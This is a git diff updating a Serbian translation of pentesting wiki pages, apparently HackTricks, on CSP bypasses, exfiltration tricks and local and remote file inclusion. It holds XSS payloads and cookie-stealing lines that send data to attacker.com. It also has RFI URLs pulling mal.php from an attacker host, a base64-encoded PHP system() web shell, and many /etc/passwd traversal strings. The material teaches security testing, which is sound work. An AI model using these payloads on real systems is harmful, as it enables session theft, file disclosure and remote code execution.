+# CSP in place → payload blocked by browser
+curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
+
+# Exceed max_input_vars to force warnings before header() → CSP stripped
+curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
+# Warning: PHP Request Startup: Input variables exceeded 1000 ...
+# Warning: Cannot modify header information - headers already sent
+```
+### Rewrite Error Page
+
+Iz [**this writeup**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice sa greškom (potencijalno bez CSP) i prepisivanjem njenog sadržaja.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@ -624,40 +646,41 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress

-SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački pristupa stranice** da **zloupotrebi** **druge tačke pristupa iste domene.** To se postiže učitavanjem ranjive tačke pristupa sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu tačku pristupa u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva tačka pristupa** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave tačke pristupa koju treba zloupotrebiti**. Za više informacija pogledajte:
+SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u endpointu stranice** da **zloupotrebi** **druge endpoint-e iste origin-e.** Ovo se postiže tako što se ranjivi endpoint učita sa attacker page i zatim se attacker page osveži na real endpoint u istom originu koji želite da zloupotrebite. Na ovaj način **ranjivi endpoint** može da koristi **`opener`** objekat u **payload**-u da **pristupi DOM-u** **real endpoint-a koji se želi zloupotrebiti**. Za više informacija pogledajte:
+

 {{#ref}}
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}

-Pored toga, **wordpress** ima **JSONP** tačku pristupa u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **odraziti** **podatke** poslati u izlazu (sa ograničenjem samo na slova, brojeve i tačke).
+Štaviše, **wordpress** ima **JSONP** endpoint na `/wp-json/wp/v2/users/1?_jsonp=data` koji će **reflektovati** **data** poslate u izlazu (sa ograničenjem na samo slova, brojeve i tačke).

-Napadač može zloupotrebiti tu tačku pristupa da **generiše SOME napad** protiv WordPress-a i **ugradi** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` napominjemo da će ovaj **script** biti **učitan** jer je **dozvoljen od 'self'**. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** kroz **ranjivu** **callback** tačku pristupa koja **zaobilazi CSP** da bi dala više privilegija korisniku, instalirao novi dodatak...\
+Attacker može zloupotrebiti taj endpoint da **generiše SOME attack** protiv WordPress i **embed**-uje ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` — napomena: ovaj **script** će biti **loaded** jer je **allowed by 'self'**. Pored toga, pošto je WordPress instaliran, attacker može zloupotrebiti **SOME attack** preko ranjivog **callback** endpoint-a koji **bypasses the CSP** kako bi dodelio veće privilegije korisniku, instalirao novi plugin...\
 Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

 ## CSP Exfiltration Bypasses

-Ako postoji stroga CSP koja vam ne dozvoljava da **interagujete sa spoljnim serverima**, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.
+Ako postoji strog CSP koji vam ne dozvoljava da komunicirate sa eksternim serverima, postoji nekoliko stvari koje uvek možete uraditi da exfiltrate informacije.

 ### Location

-Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na server napadača:
+Možete jednostavno ažurirati location da pošaljete tajne informacije attacker serveru:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag

-Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće otkriti sadržaj)
+Možete izvršiti redirect ubacivanjem meta taga (ovo je samo redirect; neće leak sadržaja)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 ### DNS Prefetch

-Da bi učitali stranice brže, pregledači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
-Možete naterati pregledač da unapred reši ime hosta sa: `<link rel="dns-prefetch" href="something.com">`
+Da bi brže učitavale stranice, browseri će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
+Možete navesti browser da unapred reši ime hosta pomoću: `<link rel="dns-prefetch" href="something.com">`

-Možete zloupotrebiti ovo ponašanje da **izvršite exfiltraciju osetljivih informacija putem DNS zahteva**:
+Možete zloupotrebiti ovo ponašanje da **exfiltrate sensitive information via DNS requests**:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 var body = document.getElementsByTagName("body")[0]
@ -667,25 +690,25 @@ body.innerHTML +
 sessionid +
 'attacker.ch">'
 ```
-Još jedan način:
+Drugi način:
 ```javascript
 const linkEl = document.createElement("link")
 linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:
+Da bi se to sprečilo, server može poslati HTTP header:
 ```
 X-DNS-Prefetch-Control: off
 ```
 > [!TIP]
-> Očigledno, ova tehnika ne funkcioniše u headless pretraživačima (botovima)
+> Čini se da ova tehnika ne radi u headless browsers (bots)

 ### WebRTC

 Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.

-U stvari, možete _leak_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
+Zapravo možete _leak_ informacije koristeći _DNS request_. Pogledajte ovaj kod:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -707,7 +730,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
 ### CredentialsContainer

-Popup za kredencijale šalje DNS zahtev ka iconURL bez ograničenja od strane stranice. Radi samo u sigurnom kontekstu (HTTPS) ili na localhost-u.
+Popup za kredencijale šalje DNS zahtev na iconURL bez ograničenja od strane stranice. Radi samo u sigurnom kontekstu (HTTPS) ili na localhost.
 ```javascript
 navigator.credentials.store(
 new FederatedCredential({
@ -723,7 +746,7 @@ iconURL:"https:"+your_data+"example.com"
 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
 - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

-## Automatsko kreiranje CSP
+## Automatsko generisanje CSP

 [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

@ -737,6 +760,7 @@ iconURL:"https:"+your_data+"example.com"
 - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
 - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
 - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)



--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,14 +4,14 @@

 ## File Inclusion

-**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\
 **Local File Inclusion (LFI):** Server učitava lokalni fajl.

-Ranljivost se javlja kada korisnik na neki način može da kontroliše fajl koji će server učitati.
+Ranljivost se javlja kada korisnik na neki način može kontrolisati fajl koji će server učitati.

-Ranljive **PHP funkcije**: require, require_once, include, include_once
+Ranjive **PHP functions**: require, require_once, include, include_once

-Zanimljiv alat za iskorišćavanje ove ranljivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+Praktičan alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

 ## Blind - Interesting - LFI2RCE fajlovi
 ```python
@ -19,39 +19,39 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**

-**Kombinovanjem više \*nix LFI listi i dodavanjem dodatnih putanja napravio sam ovu:**
+**Mešajući nekoliko \*nix LFI lista i dodajući više putanja napravio sam ovu:**


 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 {{#endref}}

-Pokušajte takođe promeniti `/` u `\`\
-Pokušajte takođe dodati `../../../../../`
+Pokušajte takođe da zamenite `/` za `\`\
+Pokušajte takođe da dodate `../../../../../`

-Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (to check if the vulnerability exists) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Lista koja koristi više tehnika da pronađe fajl /etc/password (da proverite da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

 ### **Windows**

-Spajanje različitih wordlists:
+Kombinacija različitih wordlists:


 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 {{#endref}}

-Pokušajte takođe promeniti `/` u `\`\
-Pokušajte takođe ukloniti `C:/` i dodati `../../../../../`
+Pokušajte takođe da zamenite `/` za `\`\
+Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`

-Lista koja koristi nekoliko tehnika da pronađe fajl /boot.ini (to check if the vulnerability exists) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Lista koja koristi više tehnika da pronađe fajl /boot.ini (da proverite da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

 ### **OS X**

-Proverite LFI listu za linux.
+Proverite LFI listu linux.

 ## Basic LFI and bypasses

-Svi primeri su za Local File Inclusion, ali se takođe mogu primeniti na Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
+Svi primeri su za Local File Inclusion ali se takođe mogu primeniti i na Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
@ -69,53 +69,53 @@ http://example.com/index.php?page=../../../etc/passwd%00
 ```
 Ovo je **rešeno od PHP 5.4**

-### **Kodiranje**
+### **Enkodiranje**

-Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga):
+Možete koristiti nestandardna enkodiranja kao što su double URL encode (i druga):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### Iz postojećeg foldera
+### Iz postojeće fascikle

-Možda back-end proverava putanju foldera:
+Možda back-end proverava putanju fascikle:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Istraživanje direktorijuma fajl sistema na serveru
+### Istraživanje direktorijuma u fajl sistemu servera

-Fajl sistem servera može se rekurzivno istražiti kako bi se identifikovali direktorijumi, a ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda za postizanje toga:
+Fajl sistem servera može se rekurzivno istražiti da bi se identifikovali direktorijumi, ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda kako to postići:

-1. **Utvrdi dubinu direktorijuma:** Odredi dubinu trenutnog direktorijuma uspešnim dohvatanjem fajla `/etc/passwd` (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, pokazujući dubinu od tri:
+1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma tako što ćete uspešno dohvatiti `/etc/passwd` fajl (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što označava dubinu tri:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Proverite direktorijume:** Dodajte ime sumnjenog direktorijuma (npr. `private`) u URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
+2. **Proverite foldere:** Dodajte ime sumnjivog foldera (npr., `private`) u URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje depth-a za jedan:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
-3. **Tumačenje rezultata:** Odgovor servera ukazuje da li direktorijum postoji:
- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na navedenoj lokaciji.
- **Sadržaj `/etc/passwd`:** Prisustvo direktorijuma `private` je potvrđeno.
-4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dalje istraživati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
+3. **Tumačenje rezultata:** Odgovor servera pokazuje da li folder postoji:
+- **Greška / Nema izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
+- **Sadržaj `/etc/passwd`:** Prisustvo foldera `private` je potvrđeno.
+4. **Rekurzivno istraživanje:** Otkriveni foldere je moguće dalje ispitivati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.

-Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload u skladu sa tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pod pretpostavkom da je trenutni direktorijum na dubini 3), koristite:
+Za istraživanje direktorijuma na različitim lokacijama u sistemu datoteka prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**

-Path truncation je metoda koja se koristi za manipulaciju putanjama do fajlova u web aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobiđući određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja. Cilj je kreirati putanju koja, nakon što je sigurnosna mera izmeni, i dalje pokazuje na željeni fajl.
+Path truncation je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobilaženjem određenih bezbednosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon izmene od strane bezbednosne mere, i dalje pokazuje na željeni fajl.

-U PHP-u, različite reprezentacije putanje do fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
+U PHP, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:

- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` svi se tretiraju kao ista putanja.
- Kada poslednjih 6 karaktera bude `passwd`, dodavanje `/` (praveći `passwd/`) ne menja ciljani fajl.
- Slično, ako je `.php` dodat na putanju (kao `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl kojem se pristupa.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
+- Kada su poslednja 6 karaktera `passwd`, dodavanje `/` (praveći `passwd/`) ne menja ciljani fajl.
+- Slično, ako se na putanju doda `.php` (npr. `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl kojem se pristupa.

-Primeri ispod pokazuju kako koristiti path truncation za pristup `/etc/passwd`, čestom cilju zbog osetljivog sadržaja (informacije o korisničkim nalozima):
+Priloženi primeri pokazuju kako koristiti path truncation da bi se pristupilo `/etc/passwd`, čestom cilju zbog osetljivog sadržaja (informacije o korisničkim nalozima):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-U ovim scenarijima, broj potrebnih traversals može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.
+U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.

- **Korišćenje dot segmenata i dodatnih karaktera**: Traversal sequences (`../`) u kombinaciji sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju datotečnim sistemom, efikasno ignorisanjem nizova koje server dodaje na putanju.
- **Određivanje potrebnog broja '../' sekvenci**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potreban da se dođe do korenskog direktorijuma, a zatim do `/etc/passwd`, pri čemu se osigurava da su svi pridodati nizovi (kao `.php`) neutralisani, dok željena putanja (`/etc/passwd`) ostane netaknuta.
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je započeti putanju nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanja servera.
+- **Using Dot Segments and Additional Characters**: Sekvence traversala (`../`) u kombinaciji sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajl sistemom, efikasno ignorišući dodatne stringove koje server pridodaje.
+- **Determining the Required Number of Traversals**: Kroz pokušaje i greške može se utvrditi tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma i zatim do `/etc/passwd`, pri čemu se osigurava da su svi pridodati stringovi (npr. `.php`) neutralisani, a željeni put (`/etc/passwd`) ostane netaknut.
+- **Starting with a Fake Directory**: Uobičajena je praksa početi putanju nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi serverove logike parsiranja putanja.

-Primenjujući tehnike skraćivanja putanje, ključno je razumeti ponašanje parsiranja putanja od strane servera i strukturu datotečnog sistema. Svaki scenario može zahtevati drugačiji pristup, i često je potrebno testiranje kako bi se pronašla najefikasnija metoda.
+Primenjujući path truncation techniques, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenarij može zahtevati drugačiji pristup, i često je potrebno testiranje da bi se pronašla naefikasnija metoda.

 **Ova ranjivost je ispravljena u PHP 5.3.**

-### **Trikovi zaobilaženja filtera**
+### **Filter bypass tricks**
 ```
 http://example.com/index.php?page=....//....//etc/passwd
 http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion

-U php-u je ovo onemogućeno podrazumevano zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
+U php-u je ovo onemogućeno po defaultu jer je **`allow_url_include`** **Off.** Mora da bude **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Ako iz nekog razloga **`allow_url_include`** ima vrednost **On**, ali PHP **filtrira** pristup eksternim web stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, iskoristiti data protocol sa base64 da dekodirate b64 PHP code i dobijete RCE:
+Ako iz nekog razloga **`allow_url_include`** ima vrednost **On**, ali PHP **filtrira** pristup eksternim web-stranicama, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protocol sa base64 da dekodirate b64 PHP kod i egt RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> U prethodnom kodu, na kraju je dodat `+.txt` zato što je napadaču bio potreban string koji se završava sa `.txt`, pa se string završava tim i nakon b64 decode taj deo će vratiti samo beskoristan sadržaj, a pravi PHP kod će biti uključen (i samim tim, izvršen).
-
-Još jedan primer **koji ne koristi `php://` protocol** bio bi:
+> U prethodnom kodu, finalni `+.txt` je dodat zato što attacker trebao string koji se završava `.txt`, pa se string završava njime i nakon b64 decode taj deo će vratiti samo junk i pravi PHP kod će biti uključen (i samim tim, executed).
+>
+> Još jedan primer **koji ne koristi `php://` protokol** bi bio:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python korenski element
+## Python Korenski element

-U Pythonu, u kodu kao što je ovaj:
+U Pythonu, u kodu kao u ovom:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-Ako korisnik prosledi **absolute path** u **`file_name`**, **prethodna putanja se jednostavno uklanja**:
+Ako korisnik prosledi **apsolutnu putanju** u **`file_name`**, **prethodni put se jednostavno uklanja**:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-To je predviđeno ponašanje u skladu sa [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+To je očekivano ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):

-> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente putanje.
+> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente.

-## Java listiranje direktorijuma
+## Java: prikaz direktorijuma

-Izgleda da ako imate Path Traversal u Javi i **zatražite direktorijum** umesto fajla, **vraća se listiranje direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
+Izgleda da ako imate Path Traversal u Javi i **zahtevate direktorijum** umesto fajla, vraća se **listing direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).

 ## Top 25 parametara

-Evo liste Top 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) ranjivosti (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Evo liste top 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@ -215,34 +215,34 @@ Evo liste Top 25 parametara koji bi mogli biti ranjivi na local file inclusion (

 ### php://filter

-PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podacima** pre nego što budu pročitani ili upisani. Postoji 5 kategorija filtera:
+PHP filteri omogućavaju izvođenje osnovnih **operacija izmene nad podacima** pre nego što se oni pročitaju ili upišu. Postoji 5 kategorija filtera:

 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
 - `string.strip_tags`: Uklanja tagove iz podataka (sve između znakova "<" i ">")
- Imajte na umu da je ovaj filter nestao u modernim verzijama PHP-a
+- Napomena: ovaj filter je uklonjen u modernim verzijama PHP-a
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
- `convert.iconv.*` : Transformiše u drugi encoding (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih enkodinga** pokrenite u konzoli: `iconv -l`
+- `convert.iconv.*` : Pretvara u drugačiji enkoding (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih enkodinga**, pokrenite u konzoli: `iconv -l`

 > [!WARNING]
-> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju poput include da obradi proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).

 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira mnogo informacija)
- `zlib.inflate`: Dekompresuje podatke
+- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+- `zlib.inflate`: Decompress the data
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
+- `mcrypt.*` : Zastarelo
+- `mdecrypt.*` : Zastarelo
 - Ostali filteri
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći par **neočekivanih filtera**:
+- Pokretanjem u php `var_dump(stream_get_filters());` možete naći nekoliko **neočekivanih filtera**:
 - `consumed`
- `dechunk`: poništava HTTP chunked enkodiranje
+- `dechunk`: reverses HTTP chunked encoding
 - `convert.*`
 ```php
 # String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> Deo "php://filter" nije osetljiv na velika i mala slova
+> Deo "php://filter" nije osetljiv na velika/mala slova

 ### Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova

-[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) je predložena tehnika za čitanje lokalnog fajla bez vraćanja output-a sa servera. Ova tehnika se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. To je zato što se php filters mogu koristiti da učine tekst dovoljno velikim da php baci izuzetak.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez dobijanja izlaza nazad sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakteru) koristeći php filters** kao oracle. Ovo zato što php filters mogu da se koriste da tekst učine dovoljno velikim da php baci izuzetak.

-U originalnom postu možete naći detaljno objašnjenje tehnike, ali evo kratkog rezimea:
+U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak sažetak:

- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno.
- Ovo će se koristiti da se generiše **tekst toliko veliki da, ako je početno slovo pogođeno**, php će izazvati **grešku**.
- Filter **dechunk** će **obrisati sve ako prvi char nije heksadecimalan**, pa možemo znati da li je prvi char hex.
- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo primetiti kada obavimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (npr. a -> b). Ovo nam omogućava da otkrijemo da li je početno slovo `a`, na primer, jer ako primenimo 6 puta ovaj codec: a->b->c->d->e->f->g, slovo više nije heksadecimalni karakter, stoga dechunk ga neće obrisati i php greška će biti pokrenuta zato što se množi sa početnom bombom.
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao što su n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg).
- Kada je početni karakter broj, potrebno ga je base64 enkodovati i leak-ovati prva 2 slova da bismo leak-ovali broj.
- Konačni problem je kako leak-ovati više od početnog slova. Korišćenjem filtera koji menjaju redosled bajtova kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
- I da bismo mogli dobiti further data, ideja je da se generišu 2 bajta junk podataka na početku pomoću **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se oni pivotuju sa naredna 2 bajta, i obrišu podaci sve dok ne stignemo do junk podataka (ovo će ukloniti prva 2 bajta početnog teksta). Nastaviti ovo dok ne dođete do željenog bita za leak.
+- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
+- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
+- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
+- Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta posmatrajući kada napravimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Ako je hex, dechunk ga neće obrisati i inicijalna bomba će prouzrokovati php grešku.
